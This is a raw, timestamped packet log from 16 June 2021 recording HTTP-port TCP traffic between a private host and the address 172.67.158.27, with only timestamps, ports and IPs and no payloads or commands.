Jun 16, 2021 12:05:56.026921988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.026922941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026945114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026964903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.026985884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.027723074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.027956963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.027986050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.027988911 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.028009892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028031111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028053045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028053045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.028074980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028100014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028120995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028121948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.028678894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028706074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028712034 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.028728008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.028985977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029011965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029014111 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.029032946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029055119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029076099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029077053 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.029098988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029120922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029140949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029141903 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.029162884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.029973984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030002117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030006886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.030025959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030045986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030066967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030066967 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.030086994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030108929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030128002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030129910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.030148983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030930996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030956030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.030961037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.030980110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031004906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031024933 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.031028032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031049967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031073093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031095028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031126976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.031136036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031898975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031925917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031927109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.031948090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031968117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031986952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.031986952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.032008886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032032013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032049894 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.032054901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032080889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032896042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032929897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032942057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.032952070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032974958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032995939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.032995939 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.033018112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033041000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033060074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033082008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033102989 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.033898115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033929110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.033951044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.034895897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.060168982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060200930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060231924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060255051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060272932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060297012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060317993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060323000 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.060340881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060347080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.060364962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060384035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.060385942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060406923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060426950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060446978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.060450077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.060475111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061297894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061325073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061335087 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.061352015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061373949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061394930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061415911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061415911 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.061439037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061460018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.061477900 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.061480045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062293053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062318087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062325001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.062340975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062361002 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.062362909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062387943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062411070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062431097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062448978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.062450886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.062473059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063509941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063534021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063544035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.063551903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063574076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063592911 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.063595057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063620090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063642025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063658953 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.063661098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.063683033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064209938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064239025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064241886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.064260960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064281940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064301968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.064308882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064332008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064352036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064371109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.064372063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.064390898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065155983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065182924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065197945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.065202951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065226078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065246105 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.065247059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065268993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065288067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065309048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.065309048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.065331936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066215038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066245079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066247940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.066267967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066291094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066310883 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.066313982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066337109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066359043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066378117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.066380978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.066405058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067085028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067109108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067127943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.067150116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067173004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067193985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067202091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.067217112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067236900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067255974 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.067256927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067276955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.067888975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.068077087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068101883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068123102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068144083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068164110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068166971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.068186045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068206072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068224907 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.068228960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.068249941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069044113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069071054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069072962 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.069092035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069353104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069375992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069375992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.069397926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069418907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069437981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.069438934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069466114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069485903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069504976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.069524050 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.069525957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070327044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070349932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070370913 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.070372105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070394993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070419073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070441961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070461035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070461035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.070482969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070503950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:56.070523977 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.110691071 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.110743999 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.706939936 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:56.749119997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.059961081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.059989929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060005903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060023069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060039043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060059071 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.060087919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.060290098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060305119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.060323954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.336357117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.354506016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.354604959 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.499957085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.499989033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500006914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500022888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500039101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500042915 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500057936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500073910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500077963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500096083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500104904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500118971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500137091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500153065 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500171900 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500312090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500330925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500346899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500363111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500364065 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500380993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500395060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500397921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500416994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500427961 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500432968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500452995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500462055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500472069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500488043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500502110 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.500503063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.500533104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.501326084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501349926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501368046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501382113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501386881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.501399994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501413107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.501416922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501434088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501446009 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.501450062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501466990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501478910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.501487017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.501517057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.502290964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502315044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502331018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502346992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502358913 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.502366066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502382040 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.502384901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502402067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502414942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.502418041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502439022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502448082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.502458096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502473116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.502486944 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503231049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503252029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503272057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503273010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503290892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503303051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503308058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503324986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503338099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503343105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503360033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503372908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503376961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503395081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503406048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.503416061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503433943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.503444910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504215002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504241943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504260063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504261971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504276991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504290104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504293919 CEST	80	49169	172.67.158.27	192.168.2.22
